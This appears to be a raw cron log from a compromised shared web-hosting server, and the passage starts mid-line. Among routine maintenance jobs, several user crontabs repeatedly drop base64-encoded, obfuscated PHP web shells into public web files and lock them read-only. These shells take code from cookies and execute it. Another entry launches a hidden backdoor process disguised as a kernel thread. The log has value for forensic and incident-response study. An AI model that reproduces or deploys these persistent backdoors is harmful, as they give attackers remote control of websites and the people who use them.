ICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:59:01 medusa CROND[11209]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 06:59:01 medusa CROND[11210]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:59:01 medusa CROND[11211]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:59:01 medusa CROND[11212]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:59:01 medusa CROND[11213]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:59:01 medusa CROND[11214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:59:01 medusa CROND[11215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:59:01 medusa CROND[11221]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:59:01 medusa CROND[11218]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:59:01 medusa CROND[11223]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:59:01 medusa CROND[11225]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:00:01 medusa CROND[16248]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 07:00:01 medusa CROND[16264]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 07:00:01 medusa CROND[16265]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 07:00:01 medusa CROND[16373]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 07:00:02 medusa CROND[16431]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 07:00:02 medusa CROND[16494]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 07:00:02 medusa CROND[16551]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 07:00:02 medusa CROND[16563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:00:02 medusa CROND[16564]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 07:00:02 medusa CROND[16566]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 07:00:02 medusa CROND[16572]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 07:00:02 medusa CROND[16575]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 07:00:02 medusa CROND[16576]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 07:00:02 medusa CROND[16578]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:00:02 medusa CROND[16581]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:00:02 medusa CROND[16582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 07:00:02 medusa CROND[16584]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:00:02 medusa CROND[16585]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:00:02 medusa CROND[16589]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:00:02 medusa CROND[16593]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 07:00:02 medusa CROND[16579]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 07:00:02 medusa CROND[16605]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:00:02 medusa CROND[16607]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:00:02 medusa CROND[16570]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 07:00:02 medusa CROND[16609]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 07:00:02 medusa CROND[16610]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 07:00:02 medusa CROND[16612]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 07:00:02 medusa CROND[16616]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 07:00:02 medusa CROND[16615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:00:02 medusa CROND[16617]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:00:02 medusa CROND[16586]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 07:00:02 medusa CROND[16620]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:00:02 medusa CROND[16628]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:00:02 medusa CROND[16631]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 07:00:02 medusa CROND[16634]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 07:00:02 medusa CROND[16608]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 07:00:02 medusa CROND[16619]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 07:00:02 medusa CROND[16630]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 07:01:01 medusa CROND[19211]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 07:01:01 medusa CROND[19230]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:01:01 medusa run-parts(/etc/cron.hourly)[19211]: starting 0anacron
Mar  1 07:01:01 medusa run-parts(/etc/cron.hourly)[19277]: finished 0anacron
Mar  1 07:01:01 medusa CROND[19309]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:01:01 medusa CROND[19330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:01:01 medusa CROND[19381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
